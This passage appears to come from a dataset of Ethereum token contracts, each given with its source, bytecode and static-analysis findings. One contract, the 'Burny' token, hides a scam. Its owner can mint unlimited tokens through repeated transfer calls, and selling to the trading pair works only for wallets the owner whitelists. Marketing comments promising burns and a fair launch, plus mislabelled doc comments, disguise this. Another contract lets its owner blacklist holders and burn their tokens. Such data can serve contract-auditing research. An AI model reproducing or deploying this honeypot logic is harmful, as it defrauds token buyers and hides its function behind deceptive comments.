a6040830184614119565b949350505050565b60006060820190506142476000830186613cdf565b6142546020830185613cb2565b6142616040830184614119565b949350505050565b600060208201905081810360008301526142838184613cfd565b905092915050565b60006020820190506142a06000830184613d5b565b92915050565b60006020820190506142bb6000830184613d6a565b92915050565b600060208201905081810360008301526142da81613d79565b9050919050565b600060208201905081810360008301526142fa81613ddf565b9050919050565b6000602082019050818103600083015261431a81613e1f565b9050919050565b6000602082019050818103600083015261433a81613e5f565b9050919050565b6000602082019050818103600083015261435a81613e9f565b9050919050565b6000602082019050818103600083015261437a81613edf565b9050919050565b6000602082019050818103600083015261439a81613f1f565b9050919050565b600060208201905081810360008301526143ba81613f5f565b9050919050565b600060208201905081810360008301526143da81613f9f565b9050919050565b600060208201905081810360008301526143fa81613fdf565b9050919050565b6000602082019050818103600083015261441a8161401f565b9050919050565b6000602082019050818103600083015261443a81614085565b9050919050565b600060608201905061445660008301866140f4565b6144636020830185613cee565b6144706040830184614128565b949350505050565b600060208201905061448d60008301846140fb565b92915050565b60006020820190506144a86000830184614119565b92915050565b60006060820190506144c36000830186614119565b6144d06020830185614119565b6144dd6040830184614119565b949350505050565b60006080820190506144fa6000830187614119565b6145076020830186614119565b6145146040830185614119565b6145216060830184614119565b95945050505050565b6000604051905081810181811067ffffffffffffffff8211171561454d57600080fd5b8060405250919050565b600067ffffffffffffffff82111561456e57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145d882614637565b9050919050565b60006145ea82614637565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061466c82614673565b9050919050565b600061467e82614685565b9050919050565b600061469082614637565b9050919050565b82818337600083830152505050565b6146af816145cd565b81146146ba57600080fd5b50565b6146c6816145df565b81146146d157600080fd5b50565b6146dd81614629565b81146146e857600080fd5b50565b6146f481614657565b81146146ff57600080fd5b5056fea365627a7a72315820f976428e1fde39324347d3a4e7809136ded1124dea3745091f13c25262e05e1c6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,184
0xfb2c3f07ffbf55395517af2e75762edc978724fd
// SPDX-License-Identifier: none pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); constructor (string memory name, string memory symbol, uint256 amount) public { _name = name; _symbol = symbol; _decimals = 18; address msgSender = _msgSender(); _owner = msgSender; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address blacklisted"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d714610346578063a9059cbb14610372578063b36d69191461039e578063dd62ed3e146103c4578063f2fde38b146103f257610116565b8063715018a6146102ea578063787f0233146102f45780638da5cb5b1461031a57806395d89b411461033e57610116565b8063313ce567116100e9578063313ce5671461022857806339509351146102465780633d72d6831461027257806352a97d521461029e57806370a08231146102c457610116565b806306fdde031461011b578063095ea7b31461019857806318160ddd146101d857806323b872dd146101f2575b600080fd5b610123610418565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356104ae565b604080519115158252519081900360200190f35b6101e06104cb565b60408051918252519081900360200190f35b6101c46004803603606081101561020857600080fd5b506001600160a01b038135811691602081013590911690604001356104d1565b610230610558565b6040805160ff9092168252519081900360200190f35b6101c46004803603604081101561025c57600080fd5b506001600160a01b038135169060200135610561565b6101c46004803603604081101561028857600080fd5b506001600160a01b0381351690602001356105af565b6101c4600480360360208110156102b457600080fd5b50356001600160a01b0316610618565b6101e0600480360360208110156102da57600080fd5b50356001600160a01b0316610688565b6102f26106a3565b005b6101c46004803603602081101561030a57600080fd5b50356001600160a01b0316610750565b6103226107b8565b604080516001600160a01b039092168252519081900360200190f35b6101236107cc565b6101c46004803603604081101561035c57600080fd5b506001600160a01b03813516906020013561082d565b6101c46004803603604081101561038857600080fd5b506001600160a01b038135169060200135610895565b6101c4600480360360208110156103b457600080fd5b50356001600160a01b03166108a9565b6101e0600480360360408110156103da57600080fd5b506001600160a01b03813581169160200135166108c7565b6102f26004803603602081101561040857600080fd5b50356001600160a01b03166108f2565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104a45780601f10610479576101008083540402835291602001916104a4565b820191906000526020600020905b81548152906001019060200180831161048757829003601f168201915b5050505050905090565b60006104c26104bb610a5c565b8484610a60565b50600192915050565b60035490565b60006104de848484610b4c565b61054e846104ea610a5c565b610549856040518060600160405280602881526020016111a1602891396001600160a01b038a16600090815260026020526040812090610528610a5c565b6001600160a01b031681526020810191909152604001600020549190610cff565b610a60565b5060019392505050565b60065460ff1690565b60006104c261056e610a5c565b84610549856002600061057f610a5c565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906109fb565b60006105b9610a5c565b60065461010090046001600160a01b0390811691161461060e576040805162461bcd60e51b815260206004820181905260248201526000805160206111ea833981519152604482015290519081900360640190fd5b6104c28383610d96565b6000610622610a5c565b60065461010090046001600160a01b03908116911614610677576040805162461bcd60e51b815260206004820181905260248201526000805160206111ea833981519152604482015290519081900360640190fd5b61068082610e92565b506001919050565b6001600160a01b031660009081526020819052604090205490565b6106ab610a5c565b60065461010090046001600160a01b03908116911614610700576040805162461bcd60e51b815260206004820181905260248201526000805160206111ea833981519152604482015290519081900360640190fd5b60065460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360068054610100600160a81b0319169055565b600061075a610a5c565b60065461010090046001600160a01b039081169116146107af576040805162461bcd60e51b815260206004820181905260248201526000805160206111ea833981519152604482015290519081900360640190fd5b61068082610f7e565b60065461010090046001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104a45780601f10610479576101008083540402835291602001916104a4565b60006104c261083a610a5c565b84610549856040518060600160405280602581526020016112976025913960026000610864610a5c565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610cff565b60006104c26108a2610a5c565b8484610b4c565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6108fa610a5c565b60065461010090046001600160a01b0390811691161461094f576040805162461bcd60e51b815260206004820181905260248201526000805160206111ea833981519152604482015290519081900360640190fd5b6001600160a01b0381166109945760405162461bcd60e51b81526004018080602001828103825260268152602001806111336026913960400191505060405180910390fd5b6006546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a55576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610aa55760405162461bcd60e51b81526004018080602001828103825260248152602001806112506024913960400191505060405180910390fd5b6001600160a01b038216610aea5760405162461bcd60e51b81526004018080602001828103825260228152602001806111596022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b915760405162461bcd60e51b815260040180806020018281038252602581526020018061122b6025913960400191505060405180910390fd5b6001600160a01b038216610bd65760405162461bcd60e51b81526004018080602001828103825260238152602001806110cb6023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205460ff1615610c2e5760405162461bcd60e51b81526004018080602001828103825260218152602001806111c96021913960400191505060405180910390fd5b610c39838383611083565b610c768160405180606001604052806026815260200161117b602691396001600160a01b0386166000908152602081905260409020549190610cff565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610ca590826109fb565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610d8e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d53578181015183820152602001610d3b565b50505050905090810190601f168015610d805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610ddb5760405162461bcd60e51b815260040180806020018281038252602181526020018061120a6021913960400191505060405180910390fd5b610de782600083611083565b610e2481604051806060016040528060228152602001611111602291396001600160a01b0385166000908152602081905260409020549190610cff565b6001600160a01b038316600090815260208190526040902055600354610e4a9082611088565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038116610ed75760405162461bcd60e51b81526004018080602001828103825260238152602001806112746023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff1615610f2f5760405162461bcd60e51b81526004018080602001828103825260238152602001806110ee6023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038116610fc35760405162461bcd60e51b81526004018080602001828103825260238152602001806112746023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff16151514611036576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b6000610a5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b96ff66d4a012241c3351e9725780e064fad9147a24445e515d4f50d69e2308964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,185
0xaac2ffd60bcb48eb9dbd5e90c7a121aecd4686ef
/* https://t.me/burnytoken 💥 $BURNY is very cute and ready to blast past all his other competitors in the DeFi space! 🚀 👨‍🚒 50% of total supply was burned at launch. 🔥 $BURNY gets bigger every transaction! 10% on each buy/sell is BURNED, making the total supply completely deflationary. ✅ 0% taxes (10% slippage only for the burn) * (nothing goes to marketing or developers - this is a fair/silent launch with no pre-sale as well!) 🎒Pack your bags and strap in your seatbelts fellow degens! It's time to take $BURNY to the moon! 🚀 https://t.me/burnytoken */ library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function setfee (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function burnpercent(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Burny is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 9009009009 * 10 ** 18; constructor () ERC20(unicode'Burny','BURNY') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063b94cc8ef146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806310b3ea1614610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b610162600480360381019061015d9190611704565b6103d2565b005b61016c6104ad565b604051610179919061175c565b60405180910390f35b61019c60048036038101906101979190611777565b6104b7565b6040516101a991906115a1565b60405180910390f35b6101ba6105b8565b6040516101c791906117e6565b60405180910390f35b6101ea60048036038101906101e59190611546565b6105e0565b6040516101f791906115a1565b60405180910390f35b61021a60048036038101906102159190611801565b61068c565b604051610227919061175c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f919061183d565b60405180910390f35b610260610851565b60405161026d919061147c565b60405180910390f35b610290600480360381019061028b9190611546565b6108e3565b60405161029d91906115a1565b60405180910390f35b6102c060048036038101906102bb9190611546565b6109d7565b6040516102cd91906115a1565b60405180910390f35b6102f060048036038101906102eb9190611801565b610c3e565b005b61030c60048036038101906103079190611858565b610d17565b604051610319919061175c565b60405180910390f35b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6103da610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffff